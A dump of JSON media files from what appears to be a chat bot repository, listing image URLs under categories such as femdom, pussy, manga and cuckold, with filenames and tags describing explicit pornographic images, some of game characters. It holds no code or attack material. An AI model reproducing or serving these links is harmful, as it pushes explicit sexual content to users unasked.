{"url":"https://preview.redd.it/bttmm17blax91.jpg?width=960&crop=smart&auto=webp&s=a5bb23a6be82e4e76bf4eab07db2db01836446ca"}, 17 | {"url":"https://preview.redd.it/ncev88ydlax91.jpg?width=960&crop=smart&auto=webp&s=516a1f333f2dcd485f2dc6a98a64ac015f1ab7e2"}, 18 | {"url":"https://preview.redd.it/kjxtae0glax91.jpg?width=864&format=pjpg&auto=webp&s=0594b5e14afed6169a7ffcb68f8c49553b85344f"}, 19 | {"url":"https://preview.redd.it/ugjp3f4o7ax91.jpg?width=1024&format=pjpg&auto=webp&s=06594e4c17ec1ebf07448b5740cc37413763bf83"}, 20 | {"url":"https://preview.redd.it/3txnddfr7ax91.jpg?width=1024&format=pjpg&auto=webp&s=bc7d1201ab2b2f9d29d2c4f6bc064c1388e0d929"}, 21 | {"url":"https://preview.redd.it/gbms32et7ax91.jpg?width=1080&format=pjpg&auto=webp&s=ab09b4ec57dc261efe8451863ad72c512bb1dd6b"}, 22 | {"url":"https://preview.redd.it/t54sfnhw7ax91.jpg?width=640&format=pjpg&auto=webp&s=94f279b209dd63c81b6f19e4c183afc3b533879b"}, 23 | {"url":"https://preview.redd.it/qobugid28ax91.jpg?width=1024&format=pjpg&auto=webp&s=13257c1fa83ff592099e7c5693c3307237b1bd32"}, 24 | {"url":"https://preview.redd.it/qr9wg5y48ax91.jpg?width=1024&format=pjpg&auto=webp&s=832faac97a1b339a38f9d9d0a1fc63790dc5055a"}, 25 | {"url":"https://preview.redd.it/49x3sbxc8ax91.jpg?width=1024&format=pjpg&auto=webp&s=e4b6b7e4950c4bdf3bec879eaa5735146515010f"}, 26 | {"url":"https://preview.redd.it/ydvor2wi8ax91.jpg?width=1080&format=pjpg&auto=webp&s=18b1c0950d22022d072e9f71b59a542a22e2af60"}, 27 | {"url":"https://preview.redd.it/psunpkem8ax91.jpg?width=1024&format=pjpg&auto=webp&s=a799805d683d283fba0b65488db5805667796d4a"}, 28 | {"url":"https://preview.redd.it/q6vc1duwfax91.jpg?width=1024&format=pjpg&auto=webp&s=6b34ddbc8c6494e8ebcd29d24fa8cd334da5bd10"}, 29 | {"url":"https://preview.redd.it/sk0kvirzfax91.jpg?width=765&format=pjpg&auto=webp&s=a9f9ab3e3c1968347dd76e3e8605a6dcd064490a"}, 30 | {"url":"https://preview.redd.it/2escqrp2gax91.jpg?width=800&format=pjpg&auto=webp&s=d03a6b29f7ef48c9ab3fd4bc76ea9da689c5290b"}, 31 | {"url":"https://preview.redd.it/njnhswh5gax91.jpg?width=1024&format=pjpg&auto=webp&s=3c6b9634475eb05c0159e229edddd19da6c11579"}, 32 | {"url":"https://preview.redd.it/9yjit643hax91.jpg?width=1080&format=pjpg&auto=webp&s=5876a9bebe7ff9279116ad23a9cff9f4734efad1"}, 33 | {"url":"https://preview.redd.it/gi8m8076hax91.jpg?width=1080&format=pjpg&auto=webp&s=4894cc7e32586d0ae2d7b4c8019f12810a52e217"}, 34 | {"url":"https://preview.redd.it/frmqggqahax91.jpg?width=1024&format=pjpg&auto=webp&s=1adfdbd7ab11ee9766264bef3b2953663543171f"}, 35 | {"url":"https://preview.redd.it/q3qx16aehax91.jpg?width=1080&format=pjpg&auto=webp&s=9fabd8401c685d441d392f10910625743892d546"}, 36 | {"url":"https://preview.redd.it/ziy1agkghax91.jpg?width=899&format=pjpg&auto=webp&s=b00c242c52ef1fa90b6c06eb226ef56ab9175d8e"}, 37 | {"url":"https://preview.redd.it/oeex80gjhax91.jpg?width=1024&format=pjpg&auto=webp&s=559572ba87b9973957c00769fb36ccdad1238318"}, 38 | {"url":"https://preview.redd.it/7kzxzk0ilax91.jpg?width=960&crop=smart&auto=webp&s=85ac9129d4726d5b9c97ce0b1360156b1c0247ba"} 39 | ] 40 | -------------------------------------------------------------------------------- /src/media/nsfw/femdom.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://media.discordapp.net/attachments/516059858924208138/681659736759861318/image0_6.jpg"}, 3 | {"url":"https://media.discordapp.net/attachments/516059858924208138/681658400810991650/lusciousnet_lusciousnet_hentai-a-small-facesitting-album-x-p_160480173_1.jpg"}, 4 | {"url":"https://media.discordapp.net/attachments/516059858924208138/679172636252700692/5d63377e84f7d.jpeg"}, 5 | {"url":"https://media.discordapp.net/attachments/516059858924208138/678115448344018944/image0.jpg"}, 6 | {"url":"https://media.discordapp.net/attachments/516059858924208138/677623452538241050/4e98dcbfed1201003cd6f481ad58e311.jpg"}, 7 | {"url":"https://media.discordapp.net/attachments/516059858924208138/677254777180127243/camilla-hentai-1.jpg"}, 8 | {"url":"https://media.discordapp.net/attachments/516059858924208138/677054546278613004/481lf0qukyb31.jpg"}, 9 | {"url":"https://media.discordapp.net/attachments/516059858924208138/676001334482173972/image0.jpg"}, 10 | {"url":"https://media.discordapp.net/attachments/516059858924208138/674625128616689671/image0.jpg"}, 11 | {"url":"https://media.discordapp.net/attachments/516059858924208138/672517231745433641/571b3b0a489c325e0aefd6bf4f000c92.png"}, 12 | {"url":"https://media.discordapp.net/attachments/516059858924208138/672517231313289216/336aeae234bf6b53225c626361ac9067.png"}, 13 | {"url":"https://media.discordapp.net/attachments/516059858924208138/671022545390141440/image0.jpg"}, 14 | {"url":"https://media.discordapp.net/attachments/516059858924208138/669051142046482455/chcomic.png"}, 15 | {"url":"https://media.discordapp.net/attachments/516059858924208138/669051124610891796/cutewship2.jpg"}, 16 | {"url":"https://media.discordapp.net/attachments/516059858924208138/667061547142610945/image3.png"}, 17 | {"url":"https://media.discordapp.net/attachments/516059858924208138/666665636306485280/image0-5.jpg"}, 18 | {"url":"https://media.discordapp.net/attachments/516059858924208138/666665577275981834/image0-3.jpg"}, 19 | {"url":"https://media.discordapp.net/attachments/516059858924208138/666306387659456512/4dfa85.jpg"}, 20 | {"url":"https://media.discordapp.net/attachments/516059858924208138/666071339555356683/IMG_20190724_092936.jpg"}, 21 | {"url":"https://media.discordapp.net/attachments/516059858924208138/665938875524317184/image1-1-1.jpg"}, 22 | {"url":"https://media.discordapp.net/attachments/516059858924208138/665882446725906442/Screenshot_20190924-075728_Discord.jpg"}, 23 | {"url":"https://media.discordapp.net/attachments/516059858924208138/665678391495753758/image3-1.jpg"}, 24 | {"url":"https://media.discordapp.net/attachments/516059858924208138/665308716056444957/image0-7.jpg"}, 25 | {"url":"https://media.discordapp.net/attachments/516059858924208138/664155658140123156/Litchipix-628467-femdom_handjob.jpg"}, 26 | {"url":"https://media.discordapp.net/attachments/516059858924208138/663015503815507978/9578efa.jpg"}, 27 | {"url":"https://media.discordapp.net/attachments/516059858924208138/662081719385718786/6a8ae79.png"}, 28 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661640081060397086/f693a9683b409df100514296dd9b6fcb.jpg"}, 29 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661638128964075520/5d2d41181dc0c75337b431952aedf734.jpg"}, 30 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661638125352648709/IMG_20191202_221150.jpg"}, 31 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661637986831695882/69674763_p2_master1200.jpg"}, 32 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661637985594507307/hk416_and_ump45_girls_frontline_drawn_by_beluga_dolphin__sample-bfbbb30c37f0adaa34af976a9f918ebb.jpg"}, 33 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661637985166557196/f21.png"}, 34 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661637984654721045/1560099824154.png"}, 35 | {"url":"https://media.discordapp.net/attachments/516059858924208138/661637984654721044/lusciousnet_lusciousnet_1453086825996_2049130559_01C0YXDYVXDQ9B58RAXZMTDZXR.png"}, 36 | {"url":"https://media.discordapp.net/attachments/516059858924208138/660791681620246554/tumblr_phdy21Ypw61v73vj5_1280.jpg"}, 37 | {"url":"https://media.discordapp.net/attachments/516059858924208138/660520486996017172/tumblr_o2cy4jjOVE1v5h9coo1_500.png"}, 38 | {"url":"https://media.discordapp.net/attachments/516059858924208138/660250656476758035/1567518493520.jpg"}, 39 | {"url":"https://media.discordapp.net/attachments/516059858924208138/659691562158260224/1253c9.jpg"}, 40 | {"url":"https://media.discordapp.net/attachments/516059858924208138/658471323034583050/tumblr_oxxvbjN5qA1tm1dgio1_540.png"}, 41 | {"url":"https://media.discordapp.net/attachments/516059858924208138/658439955344916488/D12YGbcUgAAWkHT.jpg"}, 42 | {"url":"https://media.discordapp.net/attachments/516059858924208138/651178121193586689/image0-6.jpg"}, 43 | {"url":"https://media.discordapp.net/attachments/516059858924208138/650617998717091856/mcjtmzwzj0m31.png"}, 44 | {"url":"https://media.discordapp.net/attachments/516059858924208138/650617985689583617/kniqtktx3sp31.jpg"}, 45 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771016911948611624/1728-J6EgZMRLOYs.jpg"}, 46 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771023805438623784/Hentai_Nation_592.jpg"} 47 | ] -------------------------------------------------------------------------------- /src/media/nsfw/pussy.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://konachan.com/sample/f9fa53d9c84cb91e888ffebbaadb60dd/Konachan.com%20-%20314894%20sample.jpg"}, 3 | {"url":"https://konachan.com/sample/4eb3474d10f12495a2be3e182cbf7e01/Konachan.com%20-%20316619%20sample.jpg"}, 4 | {"url":"https://konachan.com/sample/08bb82891f6c6d0238942531c179dd69/Konachan.com%20-%20316316%20sample.jpg"}, 5 | {"url":"https://konachan.com/image/117b3b27f741563e3cc898b535a9f1fc/Konachan.com%20-%20317353%20anus%20eyepatch%20fischl_%28genshin_impact%29%20genshin_impact%20masturbation%20nipples%20nude%20pussy%20spread_pussy%20third-party_edit%20tttanggvl%20uncensored.jpg"}, 6 | {"url":"https://konachan.com/image/4b81b9d411dc35ba1e296f00054000c5/Konachan.com%20-%20317350%20barbara_%28genshin_impact%29%20censored%20genshin_impact%20long_hair%20penis%20pussy%20sex%20skirt_lift%20twintails%20vierzeck%20wink.jpg"}, 7 | {"url":"https://konachan.com/image/2e62ca6980a2c2cd77a97a7923d7de08/Konachan.com%20-%20317345%20animal_ears%20barefoot%20bell%20bow%20breasts%20brown_hair%20building%20choker%20flowers%20grass%20long_hair%20nipples%20original%20pussy%20tail%20tree%20uncensored%20yellow_eyes.jpg"}, 8 | {"url":"https://konachan.com/sample/4a0f6bb2cf85559ec865da7b2ddf2547/Konachan.com%20-%20317339%20sample.jpg"}, 9 | {"url":"https://konachan.com/sample/440a7610b93d91ab093544a89089c2e7/Konachan.com%20-%20317337%20sample.jpg"}, 10 | {"url":"https://konachan.com/sample/ea55561790e0fdc8ea63b1f54c1fbda3/Konachan.com%20-%20317328%20sample.jpg"}, 11 | {"url":"https://konachan.com/sample/8f46ff65ee4b208316a0c4bdcc989370/Konachan.com%20-%20317317%20sample.jpg"}, 12 | {"url":"https://konachan.com/sample/2b26ab530b7c6f015873004040e4ae60/Konachan.com%20-%20317285%20sample.jpg"}, 13 | {"url":"https://konachan.com/sample/e6970436ee2b650d3fcde3cb4210e6f2/Konachan.com%20-%20317290%20sample.jpg"}, 14 | {"url":"https://konachan.com/sample/e3747d62ab22fe9511124268c63be7c9/Konachan.com%20-%20317222%20sample.jpg"}, 15 | {"url":"https://konachan.com/sample/cffb8dd3fdd559af7ac39297f7cab4cc/Konachan.com%20-%20317167%20sample.jpg"}, 16 | {"url":"https://konachan.com/sample/2009598d749a5a111e61d5c65e3c757c/Konachan.com%20-%20317279%20sample.jpg"}, 17 | {"url":"https://konachan.com/sample/5c9c32ad5b7624d0c2baa8f298c31188/Konachan.com%20-%20317101%20sample.jpg"}, 18 | {"url":"https://konachan.com/sample/ba3859ae1511e240a88daccaf7a04573/Konachan.com%20-%20317063%20sample.jpg"}, 19 | {"url":"https://konachan.com/jpeg/448e0c4705f456978b5e2c901493471f/Konachan.com%20-%20316847%20cropped%20game_cg%20hentai_girl_hime%20tagme_%28artist%29%20tagme_%28character%29%20uncensored.jpg"}, 20 | {"url":"https://konachan.com/sample/36f0c0e075865ef92a4f72ca379ddcc7/Konachan.com%20-%20316955%20sample.jpg"}, 21 | {"url":"https://konachan.com/sample/747b76bfb23f7903019da58fb09bea9b/Konachan.com%20-%20316633%20sample.jpg"}, 22 | {"url":"https://konachan.com/sample/52730995ccd5136bb6c8524ab7363396/Konachan.com%20-%20316634%20sample.jpg"}, 23 | {"url":"https://konachan.com/sample/f855a318c6e1d15cf2762b075a80d36f/Konachan.com%20-%20316712%20sample.jpg"}, 24 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770989111023894557/Hentai_nation_4.jpg"}, 25 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770989422682439680/Hentai_nation_1.png"}, 26 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771000755216973874/0497-1cmypx0C9hI.jpg"}, 27 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771001007869788180/0509-zbyvCgRkuSA.jpg"}, 28 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771001299226984469/0524-HdkO8t2f6go.jpg"}, 29 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771001347696099421/523-C7dtJ0l-rj0.jpg"}, 30 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002374822297610/0608-aXFKZN-PWlU.jpg"}, 31 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002684639150090/0636-67wdpO6mMcc.jpg"}, 32 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002947240722432/0661-VwzjLvsGI7A.jpg"}, 33 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002955733663764/662-Yx9XfYTatZM.jpg"}, 34 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771015583209750578/1626-H7y-au_FDqU.jpg"}, 35 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771015701518614548/1635-U5PnTGNEoGk.jpg"}, 36 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771016132718362664/1636-eIXD3KBhtKQ.jpg"}, 37 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771016370569740308/1653-cIpIm5JVhAQ.jpg"}, 38 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771017275360411668/1813-W4HozU682l8.jpg"}, 39 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771019708522037248/Hentai_Nation_253.jpg"}, 40 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771035044617125918/RLyUz_2OSXM.jpg"}, 41 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771035046747308032/TEszjyDPdSw.jpg"}, 42 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771375290500775936/Hentai_Nation_48.jpg"}, 43 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771861611995463730/z4EdGoMSXwaMwrb6SSLu56WBCcGI7Kfk8s0L4kxgBi8.png"}, 44 | {"url":"https://cdn.discordapp.com/attachments/707201738255368194/771861644044271677/EbQUWvvWoAk90ng.png"} 45 | ] -------------------------------------------------------------------------------- /src/media/tiktokpics/china.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/bNfS6sNy/p-19632yfvu1.jpg"}, 3 | {"url":"https://i.postimg.cc/zfZQvwJm/p-19632ygrr1.jpg"}, 4 | {"url":"https://i.postimg.cc/NMwwQFFt/p-196338q591.jpg"}, 5 | {"url":"https://i.postimg.cc/y8wMTxFR/p-19633gbl91.jpg"}, 6 | {"url":"https://i.postimg.cc/QCb4nv5h/p-19633sib41.jpg"}, 7 | {"url":"https://i.postimg.cc/nzMhztFw/p-19633xttt1.jpg"}, 8 | {"url":"https://i.postimg.cc/5y75zJLY/p-196369fav1.jpg"}, 9 | {"url":"https://i.postimg.cc/VkRt0mwY/p-19636bd861.jpg"}, 10 | {"url":"https://i.postimg.cc/HsrXNfbz/p-19637d5e21.jpg"}, 11 | {"url":"https://i.postimg.cc/RZffSKsn/p-19638wjv31.jpg"}, 12 | {"url":"https://i.postimg.cc/5N8L18kQ/p-1963ayh131.jpg"}, 13 | {"url":"https://i.postimg.cc/141mJnpL/p-1963bvygq1.jpg"}, 14 | {"url":"https://i.postimg.cc/ZRqx50yt/p-1963ci80j1.jpg"}, 15 | {"url":"https://i.postimg.cc/8CmZCqKW/p-1963eb6jo1.jpg"}, 16 | {"url":"https://i.postimg.cc/430mp3ST/p-1963f6c1x1.jpg"}, 17 | {"url":"https://i.postimg.cc/2jcn2zL3/p-1963g3q9o1.jpg"}, 18 | {"url":"https://i.postimg.cc/RFT29T21/p-1963gu0751.jpg"}, 19 | {"url":"https://i.postimg.cc/qB3CX8rD/p-1963hxxv61.jpg"}, 20 | {"url":"https://i.postimg.cc/dQ6KKqYM/p-1963in1xo1.jpg"}, 21 | {"url":"https://i.postimg.cc/SNYV9X1m/p-1963kvd2m1.jpg"}, 22 | {"url":"https://i.postimg.cc/TPfcBtdP/p-1963kxg331.jpg"}, 23 | {"url":"https://i.postimg.cc/TYB7Nj5y/p-1963l8hv91.jpg"}, 24 | {"url":"https://i.postimg.cc/R0pnGdqy/p-1963lbfki1.jpg"}, 25 | {"url":"https://i.postimg.cc/kG1Zgk5w/p-1963m1chq1.jpg"}, 26 | {"url":"https://i.postimg.cc/HLqhJwdD/p-1963mjc6o1.jpg"}, 27 | {"url":"https://i.postimg.cc/j2pHcX3t/p-1963nx6s01.jpg"}, 28 | {"url":"https://i.postimg.cc/fWB1C0vX/p-1963o493c1.jpg"}, 29 | {"url":"https://i.postimg.cc/KjRkdM3j/p-1963ocz0i1.jpg"}, 30 | {"url":"https://i.postimg.cc/j20C0R0n/p-1963oi02s1.jpg"}, 31 | {"url":"https://i.postimg.cc/T1gLdXQv/p-1963p3d5r1.jpg"}, 32 | {"url":"https://i.postimg.cc/1zwKjLh2/p-1963pf5dy1.jpg"}, 33 | {"url":"https://i.postimg.cc/Nf82t20s/p-1963prd9d1.jpg"}, 34 | {"url":"https://i.postimg.cc/fLMgjwtB/p-1963pwt2s1.jpg"}, 35 | {"url":"https://i.postimg.cc/jdBPYZXb/p-1963q2trw1.jpg"}, 36 | {"url":"https://i.postimg.cc/y8vJgq92/p-1963ry7c71.jpg"}, 37 | {"url":"https://i.postimg.cc/wMvfZ0kN/p-1963rza701.jpg"}, 38 | {"url":"https://i.postimg.cc/65hqgsHT/p-1963uwr8q1.jpg"}, 39 | {"url":"https://i.postimg.cc/sXBZCnMq/p-1963v1u6e1.jpg"}, 40 | {"url":"https://i.postimg.cc/DZhRtNpy/p-1963vapvf1.jpg"}, 41 | {"url":"https://i.postimg.cc/NGm582m6/p-1963wei6k1.jpg"}, 42 | {"url":"https://i.postimg.cc/ry05nB1J/p-1963xdgu51.jpg"}, 43 | {"url":"https://i.postimg.cc/Y2nyYBpz/p-1963xq0s21.jpg"}, 44 | {"url":"https://i.postimg.cc/xCgLrQsx/p-1963xyy7f1.jpg"}, 45 | {"url":"https://i.postimg.cc/B6hNT2Gn/p-1963ykqp51.jpg"}, 46 | {"url":"https://i.postimg.cc/SKfM8qpS/p-1963z0ff31.jpg"}, 47 | {"url":"https://i.postimg.cc/52htFxy7/p-196407mpn1.jpg"}, 48 | {"url":"https://i.postimg.cc/sgQNNzmR/p-19640sjns1.jpg"}, 49 | {"url":"https://i.postimg.cc/Wbp8QV2H/p-19640yubd1.jpg"}, 50 | {"url":"https://i.postimg.cc/05zDmNyx/p-196412n1t1.jpg"}, 51 | {"url":"https://i.postimg.cc/d0RnbVTg/p-19641np861.jpg"}, 52 | {"url":"https://i.postimg.cc/MGLgGTGH/p-196434d9e1.jpg"}, 53 | {"url":"https://i.postimg.cc/52cg7CRf/p-19644gwzb1.jpg"}, 54 | {"url":"https://i.postimg.cc/fTQ55dFD/p-19644m1951.jpg"}, 55 | {"url":"https://i.postimg.cc/TwpLrkGQ/p-19644ue8n1.jpg"}, 56 | {"url":"https://i.postimg.cc/d1mXj9Bk/p-196455fna1.jpg"}, 57 | {"url":"https://i.postimg.cc/tRcdmxMY/p-19645e7ms1.jpg"}, 58 | {"url":"https://i.postimg.cc/K8PYL6Tm/p-19645s6j21.jpg"}, 59 | {"url":"https://i.postimg.cc/rmQcgcyL/p-1964676ti1.jpg"}, 60 | {"url":"https://i.postimg.cc/wBnDM8Yg/p-19649dcoq1.jpg"}, 61 | {"url":"https://i.postimg.cc/vZt3jmnk/p-19649k93s1.jpg"}, 62 | {"url":"https://i.postimg.cc/RVYyMhpY/p-1964aq5s81.jpg"}, 63 | {"url":"https://i.postimg.cc/4dLyyp9t/p-1964azle71.jpg"}, 64 | {"url":"https://i.postimg.cc/Ssv95BVw/p-1964bp79r1.jpg"}, 65 | {"url":"https://i.postimg.cc/j5mXNnVw/p-1964bxvsi1.jpg"}, 66 | {"url":"https://i.postimg.cc/dQkS5wVm/p-1964cg5gp1.jpg"}, 67 | {"url":"https://i.postimg.cc/yxjPkQTj/p-1964ddmc31.jpg"}, 68 | {"url":"https://i.postimg.cc/cJyznjSM/p-1964dwjeg1.jpg"}, 69 | {"url":"https://i.postimg.cc/gcKFVGSS/p-1964e3a0q1.jpg"}, 70 | {"url":"https://i.postimg.cc/J4TfFPWj/p-1964e3oge1.jpg"}, 71 | {"url":"https://i.postimg.cc/3rnzcnXY/p-1964ev6r71.jpg"}, 72 | {"url":"https://i.postimg.cc/PxhYYbJR/p-1964f9jdx1.jpg"}, 73 | {"url":"https://i.postimg.cc/s20CZmTV/p-1964g6kdp1.jpg"}, 74 | {"url":"https://i.postimg.cc/yNKkb1KJ/p-1964k0nej1.jpg"}, 75 | {"url":"https://i.postimg.cc/1t675rT7/p-1964klbm61.jpg"}, 76 | {"url":"https://i.postimg.cc/bYmVYrFh/p-1964m5nti1.jpg"}, 77 | {"url":"https://i.postimg.cc/7hw9P8Sb/p-1964mgxf81.jpg"}, 78 | {"url":"https://i.postimg.cc/ZqqCSf9Z/p-1964nqe8r1.jpg"}, 79 | {"url":"https://i.postimg.cc/V6LPJTqZ/p-1964o50md1.jpg"}, 80 | {"url":"https://i.postimg.cc/fbWMdJZv/p-1964obxe91.jpg"}, 81 | {"url":"https://i.postimg.cc/RCYqzQ9x/p-1964qdq4q1.jpg"}, 82 | {"url":"https://i.postimg.cc/VN4LZX4T/p-1964r73sr1.jpg"}, 83 | {"url":"https://i.postimg.cc/nV4SyTqC/p-1964s30991.jpg"}, 84 | {"url":"https://i.postimg.cc/Y9yZhSqj/p-1964sovwr1.jpg"}, 85 | {"url":"https://i.postimg.cc/RCN22wXt/p-1964tu3wl1.jpg"}, 86 | {"url":"https://i.postimg.cc/2j087d3B/p-1964u4i6x1.jpg"}, 87 | {"url":"https://i.postimg.cc/xCYp8z20/p-1964umtp61.jpg"}, 88 | {"url":"https://i.postimg.cc/nhGDZj0K/p-1964vi0uw1.jpg"}, 89 | {"url":"https://i.postimg.cc/VNPDZC5j/p-1964x7okw1.jpg"}, 90 | {"url":"https://i.postimg.cc/Xv5p2rt6/p-1964xu2aa1.jpg"}, 91 | {"url":"https://i.postimg.cc/7YgCMJ8v/p-1964zftiv1.jpg"}, 92 | {"url":"https://i.postimg.cc/J4B07D4D/p-1964zicjx1.jpg"}, 93 | {"url":"https://i.postimg.cc/SRYSK3qF/p-1964zu1961.jpg"} 94 | ] 95 | -------------------------------------------------------------------------------- /src/media/nsfw/manga.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770950443089264650/00004-VNJ6qrF23KQ.jpg"}, 3 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951666174132224/05.jpg"}, 4 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951690300031006/06.jpg"}, 5 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951703041671178/07.jpg"}, 6 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951712537706516/08.jpg"}, 7 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951727485681684/09.jpg"}, 8 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951740929343539/10.jpg"}, 9 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951753238577182/11.jpg"}, 10 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951765427617842/12.jpg"}, 11 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951777864253450/13.jpg"}, 12 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770951793395105792/14.jpg"}, 13 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952155804467230/zN0qPqwMf4s.jpg"}, 14 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952158912577536/2bnd32F6b24.jpg"}, 15 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952162317828096/3ZjHrJKqeGA.jpg"}, 16 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952165401165834/6bq3S331D-s.jpg"}, 17 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952168688582666/A6VYGMYNGIs.jpg"}, 18 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952180948533248/jZrtEMRayGU.jpg"}, 19 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952183704715264/OlX_-IYmRVU.jpg"}, 20 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952188021178390/qeLAfKEcuX0.jpg"}, 21 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952189500719114/QKPD7SQP4es.jpg"}, 22 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952192420479006/rrCP2IPpX0Y.jpg"}, 23 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952195117416478/TTwnaD5s3AI.jpg"}, 24 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952197159649280/u7T8oqkMRAs.jpg"}, 25 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770952200600027136/Y1NOiVdb8E0.jpg"}, 26 | {"url":"https://media.discordapp.net/attachments/527959259107950603/676450710107455508/image0.jpg"}, 27 | {"url":"https://media.discordapp.net/attachments/527959259107950603/675468441330778194/image0.jpg"}, 28 | {"url":"https://media.discordapp.net/attachments/527959259107950603/675468425417719808/image0.jpg"}, 29 | {"url":"https://media.discordapp.net/attachments/527959259107950603/675468410838057020/image0.jpg"}, 30 | {"url":"https://media.discordapp.net/attachments/527959259107950603/670305815780917248/image0.png"}, 31 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667506610809077773/image3.jpg"}, 32 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667506610809077771/image2.jpg"}, 33 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667506610310217729/image1.jpg"}, 34 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667506610310217728/image0.jpg"}, 35 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667502729047965707/image3.jpg"}, 36 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667502728485797889/image2.jpg"}, 37 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667502728033075243/image1.jpg"}, 38 | {"url":"https://media.discordapp.net/attachments/527959259107950603/667502728033075242/image0.jpg"}, 39 | {"url":"https://media.discordapp.net/attachments/527959259107950603/666770291736838174/image0.jpg"}, 40 | {"url":"https://media.discordapp.net/attachments/527959259107950603/646576444306358293/image0.png"}, 41 | {"url":"https://media.discordapp.net/attachments/527959259107950603/552304850239619072/019.thumb.jpg"}, 42 | {"url":"https://media.discordapp.net/attachments/527959259107950603/552045740621299717/ebluberry-510984-Persona_5_-_Tae_Takemi_1.jpg"}, 43 | {"url":"https://media.discordapp.net/attachments/527959259107950603/551311902806900740/1551469614984.jpg"}, 44 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771017128924807228/1759-eBIrfZS5ZHY.jpg"}, 45 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374706984353792/00430-8kYf26o3PAQ.jpg"}, 46 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374710566289438/00431-x4-6aZWb8d4.jpg"}, 47 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374739918028820/00437-7W5cuD94R8s.jpg"}, 48 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374764173295666/00438-541HJ2qMjI.jpg"}, 49 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374861670940682/00420-KxOKYWh0BG4.jpg"}, 50 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374866518900796/00421-vBOD4X0a5ss.jpg"}, 51 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374870810066965/00422-ZAl-znYOO0o.jpg"}, 52 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374875494449152/00423-pLtfHabSh8Q.jpg"}, 53 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374902518218772/00424-eFQtPC4yxYI.jpg"}, 54 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374923499175936/00425-UgxpF5O-SSs.jpg"}, 55 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771374932352303124/00426-zmmGnSPzAMw.jpg"} 56 | ] -------------------------------------------------------------------------------- /src/media/nsfw/cuckold.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://external-preview.redd.it/u5s6LYlHNzp1vGMkBpp_lpF31vn74g1aLd0cT3n69nk.jpg?width=640&height=905&crop=smart&auto=webp&s=330c2b07c7d20e0d29c8d633bd448df84372ef12"}, 3 | {"url":"https://i.redd.it/svlfk6pjpoa51.jpg"}, 4 | {"url":"https://preview.redd.it/px4ags2vura51.jpg?width=640&crop=smart&auto=webp&s=a7f572e4381d42825eb8982af147e36b32086a20"}, 5 | 